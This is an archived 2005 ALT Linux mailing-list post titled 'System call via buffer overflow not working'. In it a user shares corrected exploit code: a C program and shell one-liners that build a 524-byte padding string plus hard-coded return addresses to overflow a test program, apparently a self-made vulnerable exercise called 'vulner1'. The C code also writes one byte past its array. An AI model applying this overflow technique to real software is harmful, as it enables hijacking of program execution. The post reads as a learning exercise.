ALT Linux users (in English only)
 help / color / mirror / Atom feed
From: "Aaron McDonald" <wmcdona89@hotmail.com>
To: community-en@altlinux.org
Subject: [Comm-en] System call via buffer overflow not working
Date: Fri, 21 Jan 2005 17:46:31 -0500
Message-ID: <BAY24-F3D2242ED2F827B0D9EE09B3820@phx.gbl> (raw)

Here are the typo fixes from my previous email:

//makehex.c
main() {
        char pad[524];
        int i;
        for (i=0; i < 524; i++)
                pad[i] = 'A';
        pad[524]='\0';

        printf("%s\xe0\x9e\x16\x00\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf", pad);
}

./vulner1 $(perl -e 'print "A"x524')$(printf

"\xec\x83\x04\x08\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf")
	or
./vulner1 $(./makehex)	 //don't forget to update and recompile makehex




             reply	other threads:[~2005-01-21 22:46 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2005-01-21 22:46 Aaron McDonald [this message]
2005-01-24 20:20 ` Egor Grebnev

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=BAY24-F3D2242ED2F827B0D9EE09B3820@phx.gbl \
    --to=wmcdona89@hotmail.com \
    --cc=community-en@altlinux.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link

ALT Linux users (in English only)

This inbox may be cloned and mirrored by anyone:

	git clone --mirror http://lore.altlinux.org/community-en/0 community-en/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 community-en community-en/ http://lore.altlinux.org/community-en \
		community-en@lists.altlinux.org community-en@lists.altlinux.ru community-en@lists.altlinux.com
	public-inbox-index community-en

Example config snippet for mirrors.
Newsgroup available over NNTP:
	nntp://lore.altlinux.org/org.altlinux.lists.community-en


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git